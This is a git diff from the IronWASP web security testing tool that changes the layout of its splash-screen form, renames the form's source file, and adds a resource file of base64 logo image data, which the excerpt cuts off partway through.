System.Windows.Forms.PictureBox(); - this.LoadFormCopyrightTB = new System.Windows.Forms.TextBox(); - this.StatusTB = new System.Windows.Forms.TextBox(); - this.LoadMessageRTB = new System.Windows.Forms.RichTextBox(); - ((System.ComponentModel.ISupportInitialize)(this.LoadLogoPB)).BeginInit(); - this.SuspendLayout(); - // - // LoadLogoPB - // - this.LoadLogoPB.Image = ((System.Drawing.Image)(resources.GetObject("LoadLogoPB.Image"))); - this.LoadLogoPB.InitialImage = ((System.Drawing.Image)(resources.GetObject("LoadLogoPB.InitialImage"))); - this.LoadLogoPB.Location = new System.Drawing.Point(143, 3); - this.LoadLogoPB.Name = "LoadLogoPB"; - this.LoadLogoPB.Size = new System.Drawing.Size(218, 41); - this.LoadLogoPB.TabIndex = 1; - this.LoadLogoPB.TabStop = false; - // - // LoadFormCopyrightTB - // - this.LoadFormCopyrightTB.BackColor = System.Drawing.Color.White; - this.LoadFormCopyrightTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.LoadFormCopyrightTB.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.LoadFormCopyrightTB.Location = new System.Drawing.Point(133, 127); - this.LoadFormCopyrightTB.Name = "LoadFormCopyrightTB"; - this.LoadFormCopyrightTB.ReadOnly = true; - this.LoadFormCopyrightTB.Size = new System.Drawing.Size(250, 18); - this.LoadFormCopyrightTB.TabIndex = 3; - this.LoadFormCopyrightTB.Text = "Copyright © 2011-13 Lavakumar Kuppan"; - // - // StatusTB - // - this.StatusTB.BackColor = System.Drawing.Color.White; - this.StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.StatusTB.Location = new System.Drawing.Point(2, 84); - this.StatusTB.Multiline = true; - this.StatusTB.Name = "StatusTB"; - this.StatusTB.ReadOnly = true; - this.StatusTB.Size = new System.Drawing.Size(526, 40); - this.StatusTB.TabIndex = 5; - this.StatusTB.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; - // - // LoadMessageRTB - // - this.LoadMessageRTB.BackColor = System.Drawing.Color.White; - this.LoadMessageRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.LoadMessageRTB.Font = new System.Drawing.Font("Palatino Linotype", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.LoadMessageRTB.ForeColor = System.Drawing.Color.SteelBlue; - this.LoadMessageRTB.Location = new System.Drawing.Point(98, 48); - this.LoadMessageRTB.Name = "LoadMessageRTB"; - this.LoadMessageRTB.Size = new System.Drawing.Size(309, 33); - this.LoadMessageRTB.TabIndex = 6; - this.LoadMessageRTB.Text = " Advanced Web Security Testing Platform\nPowered by FiddlerCore, I" + - "ronPython, IronRuby, Jint & others"; - // - // LoadForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.BackColor = System.Drawing.Color.White; - this.ClientSize = new System.Drawing.Size(530, 150); - this.ControlBox = false; - this.Controls.Add(this.LoadMessageRTB); - this.Controls.Add(this.StatusTB); - this.Controls.Add(this.LoadFormCopyrightTB); - this.Controls.Add(this.LoadLogoPB); - this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MaximumSize = new System.Drawing.Size(530, 150); - this.MinimumSize = new System.Drawing.Size(530, 150); - this.Name = "LoadForm"; - this.Opacity = 0.9D; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - ((System.ComponentModel.ISupportInitialize)(this.LoadLogoPB)).EndInit(); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - internal System.Windows.Forms.PictureBox LoadLogoPB; - internal System.Windows.Forms.TextBox LoadFormCopyrightTB; - internal System.Windows.Forms.TextBox StatusTB; - private System.Windows.Forms.RichTextBox LoadMessageRTB; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class LoadForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(LoadForm)); + this.LoadLogoPB = new System.Windows.Forms.PictureBox(); + this.LoadFormCopyrightTB = new System.Windows.Forms.TextBox(); + this.StatusTB = new System.Windows.Forms.TextBox(); + this.LoadMessageRTB = new System.Windows.Forms.RichTextBox(); + ((System.ComponentModel.ISupportInitialize)(this.LoadLogoPB)).BeginInit(); + this.SuspendLayout(); + // + // LoadLogoPB + // + this.LoadLogoPB.Image = ((System.Drawing.Image)(resources.GetObject("LoadLogoPB.Image"))); + this.LoadLogoPB.InitialImage = ((System.Drawing.Image)(resources.GetObject("LoadLogoPB.InitialImage"))); + this.LoadLogoPB.Location = new System.Drawing.Point(74, 1); + this.LoadLogoPB.Name = "LoadLogoPB"; + this.LoadLogoPB.Size = new System.Drawing.Size(375, 238); + this.LoadLogoPB.TabIndex = 1; + this.LoadLogoPB.TabStop = false; + // + // LoadFormCopyrightTB + // + this.LoadFormCopyrightTB.BackColor = System.Drawing.Color.White; + this.LoadFormCopyrightTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.LoadFormCopyrightTB.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.LoadFormCopyrightTB.Location = new System.Drawing.Point(133, 326); + this.LoadFormCopyrightTB.Name = "LoadFormCopyrightTB"; + this.LoadFormCopyrightTB.ReadOnly = true; + this.LoadFormCopyrightTB.Size = new System.Drawing.Size(250, 18); + this.LoadFormCopyrightTB.TabIndex = 3; + this.LoadFormCopyrightTB.Text = "Copyright © 2011-14 Lavakumar Kuppan"; + // + // StatusTB + // + this.StatusTB.BackColor = System.Drawing.Color.White; + this.StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.StatusTB.Location = new System.Drawing.Point(2, 283); + this.StatusTB.Multiline = true; + this.StatusTB.Name = "StatusTB"; + this.StatusTB.ReadOnly = true; + this.StatusTB.Size = new System.Drawing.Size(526, 40); + this.StatusTB.TabIndex = 5; + this.StatusTB.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; + // + // LoadMessageRTB + // + this.LoadMessageRTB.BackColor = System.Drawing.Color.White; + this.LoadMessageRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.LoadMessageRTB.Font = new System.Drawing.Font("Palatino Linotype", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.LoadMessageRTB.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(69)))), ((int)(((byte)(135)))), ((int)(((byte)(216))))); + this.LoadMessageRTB.Location = new System.Drawing.Point(98, 247); + this.LoadMessageRTB.Name = "LoadMessageRTB"; + this.LoadMessageRTB.Size = new System.Drawing.Size(309, 33); + this.LoadMessageRTB.TabIndex = 6; + this.LoadMessageRTB.Text = " Advanced Web Security Testing Platform\nPowered by FiddlerCore, I" + + "ronPython, IronRuby, Jint & others"; + // + // LoadForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(530, 350); + this.ControlBox = false; + this.Controls.Add(this.LoadMessageRTB); + this.Controls.Add(this.StatusTB); + this.Controls.Add(this.LoadFormCopyrightTB); + this.Controls.Add(this.LoadLogoPB); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximumSize = new System.Drawing.Size(530, 350); + this.MinimumSize = new System.Drawing.Size(530, 350); + this.Name = "LoadForm"; + this.Opacity = 0.9D; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + ((System.ComponentModel.ISupportInitialize)(this.LoadLogoPB)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + internal System.Windows.Forms.PictureBox LoadLogoPB; + internal System.Windows.Forms.TextBox LoadFormCopyrightTB; + internal System.Windows.Forms.TextBox StatusTB; + private System.Windows.Forms.RichTextBox LoadMessageRTB; + } } \ No newline at end of file diff --git a/IronWASP/LoadForm.cs b/Iron/LoadForm.cs similarity index 96% rename from IronWASP/LoadForm.cs rename to Iron/LoadForm.cs index 1abff67..5f30fa6 100644 --- a/IronWASP/LoadForm.cs +++ b/Iron/LoadForm.cs @@ -1,39 +1,39 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.Windows.Forms; - -namespace IronWASP -{ - public partial class LoadForm : Form - { - public LoadForm() - { - InitializeComponent(); - } - - delegate void ShowLoadMessage_d(string Message); - internal void ShowLoadMessage(string Message) - { - if (this.StatusTB.InvokeRequired) - { - ShowLoadMessage_d SLM_d = new ShowLoadMessage_d(ShowLoadMessage); - this.StatusTB.Invoke(SLM_d, new object[] { Message }); - } - else - { - if (Message.Equals("0")) - { - this.Close(); - } - else - { - this.StatusTB.Text = Message; - } - } - } - } -} +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; + +namespace IronWASP +{ + public partial class LoadForm : Form + { + public LoadForm() + { + InitializeComponent(); + } + + delegate void ShowLoadMessage_d(string Message); + internal void ShowLoadMessage(string Message) + { + if (this.StatusTB.InvokeRequired) + { + ShowLoadMessage_d SLM_d = new ShowLoadMessage_d(ShowLoadMessage); + this.StatusTB.Invoke(SLM_d, new object[] { Message }); + } + else + { + if (Message.Equals("0")) + { + this.Close(); + } + else + { + this.StatusTB.Text = Message; + } + } + } + } +} diff --git a/Iron/LoadForm.resx b/Iron/LoadForm.resx new file mode 100644 index 0000000..7b8c812 --- /dev/null +++ b/Iron/LoadForm.resx @@ -0,0 +1,2235 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + 